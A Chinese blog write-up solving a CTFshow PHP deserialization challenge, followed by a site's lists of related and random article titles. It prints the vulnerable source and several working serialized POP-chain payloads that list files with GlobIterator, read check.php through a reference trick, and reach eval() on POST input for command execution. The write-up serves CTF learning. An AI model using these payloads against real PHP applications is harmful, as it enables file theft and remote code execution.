这题虽然只有100的分值,但是我觉得它涉及到的东西还蛮多的,写个随笔记录一下。

题目

<?php

# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php"); class EeE{
public $text;
public $eeee;
public function __wakeup(){
if ($this->text == "aaaa"){
echo lcfirst($this->text);
}
} public function __get($kk){
echo "$kk,eeeeeeeeeeeee";
} public function __clone(){
$a = new cycycycy;
$a -> aaa();
} } class cycycycy{
public $a;
private $b; public function aaa(){
$get = $_GET['get'];
$get = cipher($get);
if($get === "p8vfuv8g8v8py"){
eval($_POST["eval"]);
}
} public function __invoke(){
$a_a = $this -> a;
echo "\$a_a\$";
}
} class gBoBg{
public $name;
public $file;
public $coos;
private $eeee="-_-";
public function __toString(){
if(isset($this->name)){
$a = new $this->coos($this->file);
echo $a;
}else if(!isset($this -> file)){
return $this->coos->name;
}else{
$aa = $this->coos;
$bb = $this->file;
return $aa();
}
}
} class w_wuw_w{
public $aaa;
public $key;
public $file;
public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
} public function __destruct(){
echo $this->aaa;
} public function __invoke(){
$this -> aaa = clone new EeE;
}
} $_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

看完题目其实整个POP链还是很清晰的,入口可以是w_wuw_w的__destruct()函数,也可以是EeE的__wakeup()函数,最终目的是调用cycycycy类的aaa函数,但是aaa函数中有个cipher函数我们并不清楚,应该是check.php内引入的。

题干提示说当前目录下有个txt文件,这个也需要我们去获取一下。

WP

这里需要利用PHP原生类GlobInterator来获取当前文件夹下的txt文件的名字,利用的点在:

$a = new $this->coos($this->file);
echo $a;

只需要将$this->coos设置为GlobInterator,而$this->file设置为/*.txt,即可通过echo将文件名打印出来。

所以传入的payload为:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";s:1:"a";s:4:"file";s:7:"./*.txt";s:4:"coos";s:12:"GlobIterator";}s:3:"key";N;s:4:"file";N;}

得到h1nt.txt

关于PHP原生类的更多消息,可以查看文章:CTF中PHP原生类的使用



接着就是读取h1nt.txt的文件内容了。通过:

public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

可以读取文件内容,将其放置于$this->key内,只是这边没有输出$this-key的值,但是在析构函数中,出现了:

public function __destruct(){
echo $this->aaa;
}

所以,可以在传入类的时候将$this->aaa的值赋值为&$this->key,即key的地址,然后在echo的时候就可以将文件内容进行输出。payload为:

O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:10:"./h1nt.txt";}

得到:



根据提示可以知道,这个应该是一个凯撒加密,移动的位数在2-4之间,需进行爆破即可得到p8vfuv8g8v8py的明文。

意外

仔细观察下列函数:

public function __wakeup(){
if(!preg_match("/php|63|\*|\?/i",$this -> key)){
$this->key = file_get_contents($this -> file);
}else{
echo "不行哦";
}
}

$this-key的值进行了一波正则匹配,但是最后读取的却是$this->file(可以说这个检测其实是毫无作用的),所以这边我们也可以不去猜测txt文件的名字,直接用这部分的逻辑漏洞去读取check.php即可。payload如下:

O:7:"w_wuw_w":3:{s:3:"aaa";s:1:" ";s:3:"key";R:2;s:4:"file";s:11:"./check.php";}

得到:



check.php的源码为:

<?php
function cipher($str) { if(strlen($str)>10000){
exit(-1);
} $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$shifted = ""; for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char); if ($pos !== false) {
$new_pos = ($pos - $shift + strlen($charset)) % strlen($charset);
$shifted .= $charset[$new_pos];
} else {
$shifted .= $char;
}
} return $shifted;
}

嗯!所以再根据这个脚本写一个解密的脚本就好了。

<?php
function decipher($str)
{ $charset = "qwertyuiopasdfghjklzxcvbnm123456789";
$shift = 4;
$original = ""; for ($i = 0; $i < strlen($str); $i++) {
$char = $str[$i];
$pos = strpos($charset, $char); if ($pos !== false) {
$new_pos = ($pos + $shift) % strlen($charset);
$original .= $charset[$new_pos];
} else {
$original .= $char;
}
} return $original;
} echo decipher("p8vfuv8g8v8py");

得到了明文为:fe1ka1ele1efp

最终

剩下来就是直接构造链子开始打,payload如下:

O:7:"w_wuw_w":3:{s:3:"aaa";O:5:"gBoBg":3:{s:4:"name";N;s:4:"file";s:3:"xxx";s:4:"coos";O:7:"w_wuw_w":3:{s:3:"aaa";N;s:3:"key";N;s:4:"file";N;}}s:3:"key";N;s:4:"file";N;}

传入?get=fe1ka1ele1efp,POST内传入eval=要执行的命令即可。

CTFshow愚人杯-被遗忘的反序列化的更多相关文章

  1. ctfshow 1024杯 部分web题解

    ------------恢复内容开始------------ 今年1024忙得厉害,去大上海参加geekpwn膜拜大佬,几家平台的题目没怎么好好看.特别是小破站的比赛拉跨的一批,bytectf的web ...

  2. web赛题3

    2019--21省赛 wp:https://xz.aliyun.com/t/6458 2019-11-22蚂蚁金服(南邮)wp有了,微信 https://platform.d3ctf.io/#/ @d ...

  3. 安洵杯iamthinking(tp6反序列化链)

    安洵杯iamthinking tp6pop链 考点: 1.tp6.0反序列化链 2.parse_url()绕过 利用链: 前半部分利用链(tp6.0) think\Model --> __des ...

  4. [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞

    [安洵杯 2019]iamthinking&&thinkphp6.0反序列化漏洞 刚开始是403,扫描以下目录,扫描到三个目录. [18:06:19] 200 - 1KB - /REA ...

  5. c通过ctfshow学习php反序列化

    web254 web255 web256 web257 web258 web259 web260 web262 web263 web264 web265 web266 web254 error_rep ...

  6. 2017百越杯反序列化writeup

    去年的了,之前也有研究过.只是因为感觉PHP反序列化挺好玩的所以就再研究了一遍.总之感觉反序列化漏洞挺好玩的. 题目代码: <?php class home{ private $method; ...

  7. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  8. [网鼎杯 2020 朱雀组]phpweb-1|反序列化

    1.打开界面之后界面一直在刷新,检查源代码也未发现提示信息,但是在检查中发现了两个隐藏的属性:func和p,抓包进行查看一下,结果如下: 2.对两个参数与返回值进行分析,我们使用dat时一般是这种格式 ...

  9. ctfshow_djb杯

    桐桑又开始摸鱼了 ctfshow的比赛整的一手好活.djb杯. web1_veryphp 打开就是源码: 1 <?php 2 error_reporting(0); 3 highlight_fi ...

  10. 序列化和反序列化的几种方式(DataContractSerializer)(二)

    DataContractSerializer 类 使用提供的数据协定,将类型实例序列化和反序列化为 XML 流或文档. 无法继承此类. 命名空间: System.Runtime.Serializati ...

随机推荐

  1. C# 图片 等 文件 读取操作 的一点提示

    源于:在读取图片时,总喜欢首先采用:Image img=Image.FromFile("");操作,这种方式由于 调用图片的程序与图片文件是通过 绝对地址关联的,会造成 当前进程或 ...

  2. 使用angular/cli新建一个angular项目

    1.打开cmd,进入你代码保存的文件夹,你想把新建的项目保存在哪个文件夹,即进入哪个文件夹: 我把文件放到这里: 然后,使用下面的命令创建项目: // ng new 项目名称,如下示例:创建名为 he ...

  3. element ui el-date-picker format 和 value-format 格式不一致,会导致日期输入框不显示

    element ui el-date-picker和value-format 不一致导致输入框不显示

  4. Field userService in com.lin.hms.controller.LogController required a bean of type 'org.lin.hms.service.UserService' that could not be found.

    需要一个bean但找不到 解决 我们在controller使用的service没有注入spring容器,那么我们可以在启动类上,加上包扫描注解,让这个bean所在的包能扫描到: @ComponentS ...

  5. 120、商城业务---订单服务---rabbitTemplate循环依赖问题

    https://blog.csdn.net/qq_41731316/article/details/119803796

  6. bat将多个文件夹下内容合并到一个文件夹下

    for /f "delims=" %%p in ('dir /b/ad') do copy %%p\*.* d:\all\ pause 目标文件夹 d:\all\ 最好不用中文目录

  7. 痞子衡嵌入式:我为2021 TencentOS Tiny AIoT应用创新大赛做了场直播培训

    TencentOS Tiny AIoT 应用创新大赛是腾讯 TencentOS 团队联合恩智浦半导体.安谋科技(Arm China)发起的线上开发者活动,主要面向中小企业嵌入式工程师.广大嵌入式开发者 ...

  8. 前端程序员需要了解的MySQL

    数据库的基本概念 数据库(database)是用来组织.存储和管理数据的仓库.对数据库中的数据可以进行增删改查操作.市面上常见的数据库有: MySQL(使用最广泛.流行度最高的开源免费数据库 Comm ...

  9. Python学习笔记--数据可视化的开头

    JSON数据格式的转换 示例: 若是有中文数据,可以在data后面加上ensure_ascii=False pyecharts模块 网站:https://gallery.pyecharts.org(有 ...

  10. 【OGF生成函数板子题】牛客编程巅峰赛S2第11场 C 挑选方案问题

    upd 2022-01-26 我找到了个题集 牛客竞赛数学专题班生成函数I(线性递推关系.生成函数概念与公式推导.暴力计算) 目录 题目链接 题面 解题思路 AC代码 题目链接 https://ac. ...